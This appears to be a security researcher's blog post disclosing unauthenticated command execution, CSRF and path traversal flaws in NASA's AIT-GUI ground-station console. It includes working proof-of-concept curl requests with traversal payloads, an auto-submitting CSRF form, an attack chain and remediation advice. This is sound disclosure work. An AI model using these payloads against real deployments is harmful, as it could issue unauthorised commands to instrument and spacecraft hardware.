# When the NASA Ground Station Has No Lock on the Door: Unauthenticated Command Execution in AIT-GUI (GHSA-p9r8-2q67-fp86)

Last updated: August 19, 2026 | 8 MIN

[Yuval Elbar](/content/blog/?search=Yuval%20Elbar/index.html)

Security Researcher

A web GUI used to drive spacecraft and instrument commanding shipped a server that listens on every network interface, asks nobody for a password, and can be steered by any web page an operator happens to open. Here is how a stack of small, ordinary web mistakes adds up to unauthenticated command execution against hardware that is very much not ordinary, and what to do about it.

## TL;DR

AIT-GUI, the web front end of NASA/JPL’s open-source AMMOS Instrument Toolkit, starts an HTTP server with no authentication, no authorization, and no CSRF protection on any of its state-changing endpoints. Anyone who can reach the port, or any website an operator merely visits in a browser, can:

- Issue arbitrary commands via `POST /cmd`
- Run server-side scripts via `POST /script/run`
- Execute command sequences via `POST /seq`

Two of those endpoints also build filesystem paths from unvalidated input, allowing path traversal outside the intended script and sequence directories. And because the listener is hardcoded to `0.0.0.0`, the configured host is quietly ignored and the API is exposed to the whole reachable network.

The issue is tracked as GHSA-p9r8-2q67-fp86 (Critical, CVSS 9.4); no CVE has been assigned at the time of writing. It is fixed in AIT-GUI 2.5.2. If you run this software, upgrade now and keep the port off untrusted networks.

## What is AIT-GUI, and why does this matter more than a typical web bug?

The AMMOS Instrument Toolkit (AIT) is an open-source framework for building ground data systems, the software that talks to instruments and spacecraft, sends commands, and processes telemetry coming back down. AIT-GUI is its browser-based operator console: the panel a human uses to send a command or kick off a sequence.

In most web apps, “missing authentication on a POST endpoint” is bad. Here, the endpoints in question relay operator commands to a command bus. The blast radius of an unauthenticated POST is measured in issued instrument commands, not defaced pages. That context is exactly why a familiar class of web weakness deserves a fresh, careful look in operational technology and aerospace ground software.

## Four small mistakes, one big hole

### 1. The server ignores its own host setting and binds to everything

The configured host is read into a variable… and then never used. The listener is hardcoded to all interfaces:

```python
host = getattr(self, "host", "localhost")  # value is read, then never used

gevent.pywsgi.WSGIServer(
    ("0.0.0.0", port),  # hardcoded: all interfaces
    App, handler_class=WebSocketHandler,
)
```

An operator who carefully sets `host: localhost` to keep the console on the loopback interface gets a server exposed to the entire reachable network anyway.

### 2. No authentication, no authorization, no CSRF token anywhere

There is no login requirement, no session gate, no CSRF token, and no CORS restriction on any route. Every state-changing endpoint accepts `application/x-www-form-urlencoded` bodies, which browsers treat as CORS “simple” requests, so they can be delivered cross-origin without a preflight.

### 3. POST /cmd relays arbitrary commands, unauthenticated

```python
command = bottle.request.forms.get("command").strip()
args = command.split()
name = args[0].upper()
args = [util.toNumber(t, t) for t in args[1:]]
if self.send(name, *args):  # the command is relayed to the bus
```

Whatever arrives in the `command` field is parsed and handed to `self.send()`. There is nothing between the network and the command bus.

### 4. POST /seq and POST /script/run build paths from raw input

The sequence endpoint joins user input straight onto the sequence root, checks only that the resulting file exists, and passes it to a subprocess:

```python
bn_seqfile = bottle.request.forms.get("seqfile")
seqfile = os.path.join(SEQRoot, bn_seqfile)  # no confinement; only os.path.isfile
gevent.subprocess.Popen(["ait-seq-send", seqfile], ...)
```

A `seqfile` value of `../../../../something` resolves outside `SEQRoot`. The script endpoint has the same shape with `scriptPath` — and notably, a correct confinement check already exists elsewhere in the same file (on `/scripts/load`), so the fix pattern is right there in the codebase.

## How reachable is it, really?

The server runs on port 8080 by default. The most direct demonstration is a single unauthenticated request, no session, no token, no user interaction:

```bash
curl -i -X POST http://TARGET:8080/cmd --data-urlencode 'command=NO_OP 1 2 3'
```

The path-traversal variants reach files outside the intended roots:

```bash
curl -i -X POST http://TARGET:8080/script/run --data-urlencode 'scriptPath=../../../../path/to/any/script'
```

```bash
curl -i -X POST http://TARGET:8080/seq --data-urlencode 'seqfile=../../../../path/to/any/file'
```

### The part that survives a firewall: browser CSRF

Even a host-local or firewalled deployment is exploitable, because the endpoints are reachable cross-origin from a browser. If an operator who can open the GUI also visits a malicious page, that page can drive the API. The form-encoded body is a CORS “simple” request, so the cross-origin POST is delivered with zero preflight:

```html
<body onload="document.f.submit()">
<form name="f" action="http://127.0.0.1:8080/cmd" method="POST">
<input name="command" value="NO_OP 1 2 3">
</form>
</body>
```

## Stringing it together

1. Reach the port or the operator. Either directly (thanks to the `0.0.0.0` bind) or indirectly, by getting an operator with browser access to the GUI to open a page you control.
2. Skip the front door. There is no login, session check, or CSRF token to defeat, so no credentials are needed.
3. Issue commands. A single form-encoded `POST /cmd` relays an arbitrary command to the bus.
4. Escalate reach. Use `/script/run` or `/seq` with traversal payloads to execute scripts or sequences that live outside the intended directories.

No step requires a memory-corruption primitive, an auth bypass, or a novel exploit technique. It is four well-understood web weaknesses composed against a very high-value target.

## How our agentic tooling assisted this discovery

This bug was found the way we think most real research will be done from here on: a human researcher working alongside AI-assisted code analysis. The tool does the tireless part — reading an unfamiliar codebase end to end and surfacing suspicious shapes — and the researcher does the judgment part: deciding which leads are real, confirming exploitability, and building a proof.

What made this a good target for that kind of analysis is that none of the findings required running the software first: each is visible in the source as a recognizable shape, and the interesting part is how they compose. That’s exactly where analysis that reasons across a whole codebase, rather than matching a single line, earns its keep:

- Missing authentication on state-changing routes. A route that mutates state (`/cmd`, `/seq`, `/script/run`) with no auth decorator, middleware, or session check anywhere in its call path is a detectable shape.
- Tainted input flowing into a dangerous sink. `request.forms.get("seqfile")` reaching `os.path.join` and then `subprocess.Popen` with no confinement is a classic source-to-sink trace.
- A config value that is read but never used. `host` is assigned and then quietly discarded in favor of a hardcoded bind, a dead write that also happens to be a security regression.
- An existing safe pattern that a sibling route ignores. The correct path-confinement check already lives on `/scripts/load`; the gap is that `/seq` and `/script/run` don’t reuse it.

A lead is not a finding. The step that matters is validation: every issue above was confirmed by hand and reduced to a working proof-of-concept, including the self-contained CSRF demonstration that drives a real headless browser and records zero preflights. A pattern match tells you where to look; a reproduced exploit tells you it’s real. We only report the second kind.

## Remediation

**DO THIS FIRST** Upgrade to AIT-GUI 2.5.2 or later, and confirm the console port is not reachable from untrusted networks. Treat any prior exposure as a reason to review command and sequence history.

For maintainers and anyone hardening a deployment, the durable fixes:

1. Authenticate and authorize every state-changing endpoint, and add CSRF protection, a token, and/or reject CORS-simple content types on the command, script, and sequence routes.
2. Bind to the configured host (defaulting to `localhost`) instead of the hardcoded `0.0.0.0`.
3. Confine paths on `/script/run` and `/seq`, mirroring the existing `/scripts/load` check: canonicalize with `os.path.realpath`, strip leading separators, and verify the resolved path stays within `ScriptRoot` / `SEQRoot`.

More broadly: operational and ground-system software inherits the same web weaknesses as everything else, but with a far higher cost of failure. Auth, CSRF defense, and input confinement are not optional extras on a panel that commands hardware.

Read the full disclosure: [GHSA-p9r8-2q67-fp86](https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-p9r8-2q67-fp86)
